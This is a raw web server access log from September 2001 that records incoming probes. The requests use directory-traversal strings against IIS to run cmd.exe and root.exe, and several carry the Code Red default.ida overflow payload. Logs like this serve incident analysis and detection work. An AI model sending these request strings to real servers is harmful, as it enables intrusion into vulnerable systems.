20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:40:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 05:47:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:49:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 05:49:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:34: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:39: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:52:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:54:28: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 06:00:17: www.progressive.uk.com [194.168.161.144] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:01:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:49: www.progressive.uk.com [194.168.161.144] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:01:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:51: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:52: www.progressive.uk.com [194.168.161.144] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:53: www.progressive.uk.com [194.168.161.144] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:54: www.progressive.uk.com [194.168.161.144] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:54: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:55: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:58: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:59: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:01:59: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:02:00: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:02:00: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:02:01: www.progressive.uk.com [194.168.161.144] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:02:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:00: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:04:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir 